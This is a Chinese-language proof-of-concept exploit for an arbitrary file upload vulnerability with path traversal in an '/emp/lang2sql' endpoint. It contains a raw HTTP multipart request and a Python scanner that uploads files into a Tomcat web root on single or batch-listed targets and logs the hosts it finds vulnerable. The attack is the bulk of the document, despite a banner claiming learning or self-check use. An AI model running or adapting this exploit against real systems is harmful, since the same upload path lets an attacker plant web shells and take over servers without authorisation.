POST /emp/lang2sql?client_type=1&lang_tag=1 HTTP/1.1Content-Type: multipart/form-data;boundary=----WebKitFormBoundarymVk33liI64J7GQaKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept-Language: zh-CN,zh;q=0.9Host: 目标地址Content-Length: 202Expect: 100-continueConnection: close
------WebKitFormBoundarymVk33liI64J7GQaKContent-Disposition: form-data; name="file";filename="../../../../appsvr/tomcat/webapps/ROOT/9SIpL.txt"
b9Q2Itmn1------WebKitFormBoundarymVk33liI64J7GQaK--

# _*_ coding:utf-8 _*_# @Time : 2023/11/7 20:16# @Author: 为赋新词强说愁import requestsimport argparsefrom datetime import datetimeimport timerequests.packages.urllib3.disable_warnings()
RED_BOLD = "�33[1;31m"RESET = "�33[0m"def usage():    global RED_BOLD    global RESET    text = '''    +-----------------------------------------------------------------+                微信公众号    网络安全透视镜     此脚本仅用于学习或系统自检查    使用方法:        单个 python3 lang2sqlUpload.py -u url[例 http://127.0.0.1:8080]        批量 python3 lang2sqlUpload.py -f filename    +-----------------------------------------------------------------+         
    根据《中华人民共和国刑法》规定，违反国家规定，对计算机信息系统功能进行n删除、修改、增加、干扰，造成计算机信息系统不能正常运行的，处五年以下有期徒刑n或者拘役；后果特别严重的，处五年以上有期徒刑。    违反国家规定，对计算机信息系统中存储、处理或者传输的数据和应用程序进行n删除、修改、增加的操作，后果严重的，依照前款的规定处罚。    开始检测................................    '''    print(f"{RED_BOLD}{text}{RESET}")

# proxies = {'http':'http://127.0.0.1:10808}

def save_file(url):    with open('result.txt',mode='a',encoding='utf-8') as f:        f.write(url+'n')
def poc(check_url,flag):    now_poc = datetime.now()    global RED_BOLD    global RESET
    url = check_url + '/emp/lang2sql?client_type=1&lang_tag=1'    headers = {        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',        'Accept-Language': 'zh-CN,zh;q=0.9',        'Expect': '100-continue',        'Connection': 'close',    }    files = {        'file': ('../../../../appsvr/tomcat/webapps/ROOT/securityCheck.txt', 'This site has a vulnerability')    }    try:        response = requests.post(url, headers=headers, files=files, verify=False, timeout=4)        if response.status_code == 200 and "未知异常，请联系管理员" in response.text:            print(f'{RED_BOLD}[+]{now_poc.strftime("%Y-%m-%d %H:%M:%S")}t{check_url}t任意文件上传漏洞存在{RESET}')            save_file(check_url)        else:            print(f'[-]{now_poc.strftime("%Y-%m-%d %H:%M:%S")}t{check_url}t漏洞不存在')
    except Exception as e:        print(f'[-]{now_poc.strftime("%Y-%m-%d %H:%M:%S")}t{check_url}t无法访问，请检查目标站点是否存在')

def run(filepath):    flag = 0    urls = [x.strip() for x in open(filepath, "r").readlines()]    for u in urls:        if 'http' in u:            url = u        elif 'https' in u:            url = u        else:            url = 'http://' + u
        poc(url,flag)
def main():    parse = argparse.ArgumentParser()    parse.add_argument("-u", "--url", help="python lang2sqlUpload.py -u url")    parse.add_argument("-f", "--file", help="python lang2sqlUpload.py -f file")    args = parse.parse_args()    url = args.url    filepath = args.file    usage()    time.sleep(1)    if url is not None and filepath is None:        flag = 1        poc(url,flag)    elif url is None and filepath is not None:        run(filepath)    else:        usage()

if __name__ == '__main__':    main()